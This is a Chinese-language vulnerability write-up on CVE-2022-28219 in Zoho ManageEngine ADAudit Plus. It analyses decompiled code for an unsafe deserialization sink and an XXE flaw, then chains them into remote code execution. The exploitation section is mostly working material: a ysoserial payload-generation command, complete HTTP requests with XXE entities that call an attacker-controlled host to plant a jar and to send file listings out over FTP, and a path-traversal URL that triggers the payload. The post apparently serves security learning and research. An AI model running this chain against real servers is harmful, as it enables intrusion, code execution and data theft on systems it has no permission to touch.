Zoho ManageEngine ADAudit Plus (CVE-2022-28219 )漏洞分析

Zoho ManageEngine ADAudit Plus (CVE-2022-28219 )漏洞分析

前言

看到y4er師傅文章分析的zoho xxe的一些有意思組合利用方式,學習一下

漏洞分析

反序列化

<servlet>
		<servlet-name>CewolfServlet</servlet-name>
		<servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>
		<init-param>
			<param-name>debug</param-name>
			<param-value>false</param-value>
		</init-param>
  <init-param>
			<param-name>storage</param-name>
			<param-value>de.laures.cewolf.storage.FileStorage</param-value>
		</init-param>
		<load-on-startup>1</load-on-startup>
	</servlet>
  <servlet-mapping>
	<servlet-name>CewolfServlet</servlet-name>
	<url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>
  
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (this.debugged) {
            this.logRequest(request);
        }

        this.addHeaders(response);
        if (request.getParameter("state") == null && request.getParameterNames().hasMoreElements()) {
            synchronized(this.lock) {
                ++this.requestCount;
            }

            int width = 400;
            int height = 400;
            boolean removeAfterRendering = false;
            if (request.getParameter("removeAfterRendering") != null) {
                removeAfterRendering = true;
            }

            if (request.getParameter("width") != null) {
                width = Integer.parseInt(request.getParameter("width"));
            }

            if (request.getParameter("height") != null) {
                height = Integer.parseInt(request.getParameter("height"));
            }

            String imgKey = request.getParameter("img");
            if (imgKey == null) {
                this.logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height);
            } else {
                Storage storage = this.config.getStorage();
                ChartImage chartImage = storage.getChartImage(imgKey, request);
public ChartImage getChartImage(String id, HttpServletRequest request) {

		ChartImage res = null;

		ObjectInputStream ois = null;

		try {

			ois = new ObjectInputStream(new FileInputStream(getFileName(id)));

			res = (ChartImage)ois.readObject();

			ois.close();

		} catch(Exception ex){

			ex.printStackTrace();

		} finally {

			if(ois != null){

				try {

					ois.close();

				} catch(IOException ioex){

					ioex.printStackTrace();

				}

			}

		}

		return res;

	}

通過img參數傳遞去獲取id,調用getFileName獲取文件進行反序列化操作

image-20220928194550052

image-20220928194620399

public void init(ServletContext servletContext) throws CewolfException
	{
		basePath=servletContext.getRealPath("/");
		String folder=servletContext.getInitParameter("folder");
		
		if(folder==null || (folder.equalsIgnoreCase("")))
		{
			//folder="cewolf_charts"+File.separator;
            folder = "/cewolf_charts";
		}

		folder=servletContext.getRealPath(folder);
		//folder=basePath+File.separator+folder+File.separator;

		File f=new File(folder);
		if(f.isDirectory())
		{
			basePath=folder;
			startWatcher();
			return;
		}
		
		if(f.mkdir())
		{
			basePath=folder;
		}

下面需要一個文件上傳點。

XXE

com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequest

image-20220929145502798

通過url正則,獲取對應的handle方法進行處理

/tabs/agentData路由的是 com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData

image-20220929145831217

前面獲取處理一些傳遞的json數據

image-20220929145948105

image-20220929150029557

把json數據放入到事件的消息對列中

當數據返回時,即回走入到該事件處理

com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run

image-20220929152013850

獲取json傳遞數據的DomainName 不爲空則ProcessMonitor.process繼續處理該json數據

image-20220929153403033

json解析事件,如果domainname不爲空,且輸入正確,走入到ProcessMonitor.process(modData);處理

image-20220929154540836

image-20220929154804385

獲取test.local中的事件,事件內容不爲空則調用com.adventnet.sym.adsm.auditing.server.ProcessMonitor#addEventRows處理

image-20220929155656682

通過catgId獲取事件類別監聽器,這裏id是11,ProcessTrackingListenerProcessTrackingListener對象接着調用getEventRowList方法

image-20220929160103432

調用this.parseTaskContent(row, eventTbl);後來到xxe的位置

image-20220929160225283

漏洞利用

文件上傳

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsBeanutils2 -a raw_cmd:"calc" > 123.ser

https://github.com/pwntester/BlockingServer

java BlockingServer 8089 123.ser
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.108.245:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: authen=open; policy=open; JSESSIONIDADAP=D66AE139BC5244CC8A7ED01CF1F3612C; adapcsrf=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30; _zcsr_tmp=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30
Connection: close
Content-Type: application/json
Content-Length: 314

[
    {
        "DomainName": "test.local",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://172.16.108.1:8089/cases.jar!/cs.txt\"> ]><foo>&ssrf;</foo>"
    }
]

image-20220929161602130

文件讀取

https://github.com/LandGrey/xxe-ftp-server

python xxe-ftp-server.py 172.16.108.1 9099 2121
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.108.245:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: authen=open; policy=open; JSESSIONIDADAP=D66AE139BC5244CC8A7ED01CF1F3612C; adapcsrf=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30; _zcsr_tmp=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30
Connection: close
Content-Type: application/json
Content-Length: 384

[
    {
        "DomainName": "test.local",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [  <!ENTITY % file SYSTEM \"file:///C:/Users/admin/AppData/Local/Temp/\">  <!ENTITY % dtd SYSTEM \"http://172.16.108.1:9099/data.dtd\"> %dtd;]><data>&send;</data>"
    }
]

image-20220929162524176

看到文件已經被寫入進來了

反序列化

/cewolf/aaaa?img=/../../../../../../../../../Users/admin/AppData/Local/Temp/jar_cache9091707163659467742.tmp

image-20220929163337867

參考

https://y4er.com/posts/cve-2022-28219-zoho-manageengine-adaudit-plus-xxe-rce/#串聯

https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

結尾

看完這個漏洞後,知道XXE能上傳文件,並且上傳的文件位置與文件名並不可控。發覺以前錯過了很多可利用點。可惜在高版本被修復。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章